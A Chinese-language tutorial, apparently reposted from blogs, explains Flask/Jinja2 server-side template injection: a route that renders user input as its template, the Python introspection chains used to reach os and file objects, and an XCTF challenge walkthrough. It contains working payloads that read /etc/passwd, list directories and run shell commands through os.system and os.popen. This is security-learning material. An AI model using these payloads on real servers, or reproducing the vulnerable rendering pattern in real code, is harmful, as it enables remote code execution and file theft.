Python-模板注入


何為模板注入?

模板引擎可以讓(網站)程序實現界面與數據分離,業務代碼與邏輯代碼的分離,這大大提升了開發效率,良好的設計也使得代碼重用變得更加容易。

但是模板引擎也拓寬了我們的攻擊面。注入到模板中的代碼可能會引發RCE或者XSS。

 

 

flask基礎

在學習SSTI之前,先把flask的運作流程搞明白。這樣有利用更快速的理解原理。

路由

先看一段代碼

from flask import flask @app.route('/index/') def hello_word(): return 'hello word' 

route裝飾器的作用是將函數與url綁定起來。例子中的代碼的作用就是當你訪問http://127.0.0.1:5000/index的時候,flask會返回hello word。

渲染方法

flask的渲染方法有render_template和render_template_string兩種。

render_template()是用來渲染一個指定的文件的。使用如下

return render_template('index.html') 

render_template_string則是用來渲染一個字符串的。SSTI與這個方法密不可分。

使用方法如下

html = '<h1>This is index page</h1>' return render_template_string(html) 

模板

flask是使用Jinja2來作為渲染引擎的。看例子

在網站的根目錄下新建templates文件夾,這里是用來存放html文件。也就是模板文件。

test.py

from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html') 

/templates/index.html

<h1>This is index page</h1> 

訪問127.0.0.1:5000/index/的時候,flask就會渲染出index.html的頁面。

模板文件並不是單純的html代碼,而是夾雜着模板的語法,因為頁面不可能都是一個樣子的,有一些地方是會變化的。比如說顯示用戶名的地方,這個時候就需要使用模板支持的語法,來傳參。

例子

test.py

from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html',content='This is index page.') 

/templates/index.html

<h1>{{content}}</h1> 

這個時候頁面仍然輸出This is index page

{{}}在Jinja2中作為變量包裹標識符。

模板注入

不正確的使用flask中的render_template_string方法會引發SSTI。那么是什么不正確的代碼呢?

xss利用

存在漏洞的代碼

@app.route('/test/') def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html) 

這段代碼存在漏洞的原因是數據和代碼的混淆。代碼中的code是用戶可控的,會和html拼接后直接帶入渲染。

嘗試構造code為一串js代碼。

 

 

將代碼改為如下

@app.route('/test/') def test(): code = request.args.get('id') return render_template_string('<h1>{{ code }}</h1>',code=code) 

繼續嘗試

 

 可以看到,js代碼被原樣輸出了。這是因為模板引擎一般都默認對渲染的變量值進行編碼轉義,這樣就不會存在xss了。在這段代碼中用戶所控的是code變量,而不是模板內容。存在漏洞的代碼中,模板內容直接受用戶控制的。

模板注入

不正確的使用flask中的render_template_string方法會引發SSTI。那么是什么不正確的代碼呢?

目錄:

(1)幾種常用於ssti的魔術方法

(2)獲取基類的幾種方法

(3)獲取基本類的子類

(4)利用

(5)讀寫文件

(6)shell命令執行

(7)繞過姿勢

(8)實戰(填坑中)

(9)參考(挖坑)

(10)補充

其它模板注入payload

目錄:

 

Flask模板注入

解析:

眾所周知ssti要被{{}}包括。接下來的代碼均要包括在ssti中。

1.幾種常用於ssti的魔術方法

__class__  返回類型所屬的對象
__mro__    返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__   返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的

__subclasses__   每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__  類的初始化方法
__globals__  對包含函數全局變量的字典的引用
__builtins__ builtins即是引用,Python程序一旦啟動,它就會在程序員所寫的代碼沒有運行之前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,所以可以直接調用引用的模塊

  2.獲取基類的幾種方法

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //針對jinjia2/flask為[9]適用
或者
[].__class__.__bases__[0]       //其他的類似

3.獲取基本類的子類

>>> [].__class__.__base__.__subclasses__()

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

ssti的主要目的就是從這么多的子類中找出可以利用的類(一般是指讀寫文件的類)加以利用。

那么我們可以利用的類有哪些呢?

4.利用

我們可以利用的方法有<type 'file'>等。(甚至file一般是第40號)

>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

 

 

可以從上面的例子中看到我們用file讀取了 /etc/passwd ,但是如果想要讀取目錄怎么辦?

那么我們可以尋找萬能的os模塊。

寫腳本遍歷。

#!/usr/bin/env python
# encoding: utf-8

num = 0

for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        print '-'
        num+=1

 

 直接調用就好了。可以直接調用system函數,有了shell其他的問題不就解決了嗎?

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

5.讀寫文件

當然,某些情況下system函數會被過濾。這時候也可以采用os模塊的listdir函數來讀取目錄。(可以配合file來實現任意文件讀取)

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #讀取本級目錄

另外在某些不得已的情況下可以使用以下方式來讀取文件。(沒見過這種情況)。

方法一:

>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改為 write() 就是寫文件

方法二:

存在的子模塊可以通過 .index()方式來查詢

>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

用file模塊來查詢。

>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

 

 

這里拿 xctf 中的 Web_python_template_injection 做例子

進入題目界面可以看到

 

 嘗試模板注入       {{7*7}}

 

/49的存在說明7*7這條指令被忠實地執行了。接下來,開始想辦法編代碼拿到服務器的控制台權限 首先,題目告訴我們這是一個python注入問題,那么腳本肯定也是python的,思考怎樣用python語句獲取控制台權限:想到了os.system和os.popen([參考資料](https://blog.csdn.net/sxingming/article/details/52071514)),這兩句前者返回**退出狀態碼**,后者**以file形式**返回**輸出內容**,我們想要的是內容,所所以選擇os.popen`

 

知道了要用這一句,那么我要怎么找到這一句呢?python給我們提供了完整的尋找鏈(參考資料)
class:返回對象所屬的類
mro:返回一個類所繼承的基類元組,方法在解析時按照元組的順序解析。
base:返回該類所繼承的基類 //base__和__mro__都是用來尋找基類的__subclasses:每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
init:類的初始化方法
globals:對包含函數全局變量的字典的引用
首先,找到當前變量所在的類:

 有回顯。嘗試模板注入。

構造payload: ?{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

讀目錄發現了fl4g。直接用file讀取。構造payload:  ?{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

 

 拿到了flag。

 

 

 

 

 

##注意事項:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()


''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')


''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

以上payload是非常常用的payload

 

文章引用:

https://blog.csdn.net/qq_45449318/article/details/105302194

https://www.freebuf.com/column/187845.html

https://www.cnblogs.com/cioi/p/12308518.html#a1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM